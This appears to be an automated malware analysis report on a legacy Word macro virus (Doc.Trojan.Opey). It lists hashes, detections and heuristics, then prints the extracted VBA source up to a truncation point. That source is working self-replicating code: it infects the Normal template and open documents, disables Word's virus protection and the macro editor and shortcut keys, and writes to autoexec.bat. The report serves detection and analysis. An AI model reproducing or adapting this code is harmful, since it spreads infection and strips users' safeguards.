Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9c22d896e287ac98…

MALICIOUS

Office (OLE)

36.5 KB Created: 1999-06-13 19:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5f0f79aefb936a5c8064ad1df8d906c1 SHA-1: 12903932de2a446c275bc0c47ed8c567a57135d1 SHA-256: 9c22d896e287ac9837f22895a8733c2200efcf792906ad4509f0f66cca2a75e2
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with multiple critical detections. It contains VBA macros, including an AutoOpen macro, which is a common technique for executing malicious code upon document opening. The 'greetings' subroutine attempts to write to 'c:\autoexec.bat', indicating an attempt to modify system behavior or establish persistence.

Heuristics 4

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15615 bytes
SHA-256: 32a071d0c3eeacfaa4b19d6f1eb8c641efcad125f68127ed1a90030421636e69
Detection
ClamAV: Doc.Trojan.Opey-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "A_OPEY_03"
Sub greetings()
    On Error Resume Next
        autoexecfile$ = "c:\autoexec.bat"
        hFile = FreeFile
        line1$ = ""
            If ((Month(Date) = 12) And (Day(Date) = 25)) Or ((Month(Date) = 1) And (Day(Date) = 1)) Then
                line1$ = "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR !!!"
            End If
            If (Month(Date) = 11) And (Day(Date) = 1) Then
                line1$ = "echo HAPPY HALLOWEEN !!!"
            End If
            If (Month(Date) = 2) And (Day(Date) = 14) Then
                line1$ = "echo HAPPY VALENTINES DAY !!!"
            End If
                If line1$ <> "" Then
                    Open autoexecfile$ For Append Access Write As hFile
                        Print #hFile, "@echo off"
                        Print #hFile, line1$
                        Print #hFile, "echo from: OPEY A."
                        Print #hFile, "pause"
                    Close hFile
                End If
End Sub
Sub OnlyYou()
  On Error Resume Next
    Call A_OPEY_03
    NTInfected = False
    d = NormalTemplate.FullName
    s = ActiveDocument.FullName
        For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            clan = NormalTemplate.VBProject.VBComponents(i).Name
                If clan = "A_OPEY_03" Then NTInfected = True
                If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
        Next i
        For Each opendoc In Documents
            ODInfected = False
            With opendoc
                For j = opendoc.VBProject.VBComponents.Count To 1 Step -1
                clan = opendoc.VBProject.VBComponents(j).Name
                    If clan = "A_OPEY_03" Then ODInfected = True
                    If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
                Next j
                If ODInfected = False Then
                    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
                    opendoc.SaveAs FileName:=opendoc.FullName
                End If
            End With
        Next opendoc
            If NTInfected = False Then
                Application.OrganizerCopy Source:=s, Destination:=d, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
                NormalTemplate.Save
            End If
    Call greetings
End Sub
Sub A_OPEY_03()
    On Error Resume Next
    Application.UserName = "OPEY A."
    Application.UserAddress = "CNNHS B'92 PHILIPPINES (CNSC)"
    Application.UserInitials = "LOVE"
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "OPEY A."
        .Title = "LOVE"
        .Execute
    End With
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    With ActiveDocument
        .ReadOnlyRecommended = False
    End With
    On Error Resume Next
    CommandBars("Visual Basic").Visible = False
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    CommandBars("Visual Basic").Protection = msoBarNoCustomize
    CommandBars("Tools").Controls("Macro").Delete
    CustomizationContext = NormalTemplate
    FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
    FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
End Sub
Sub FileSave()
    On Error Resume Next
    Call OnlyYou
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
  
... (truncated)

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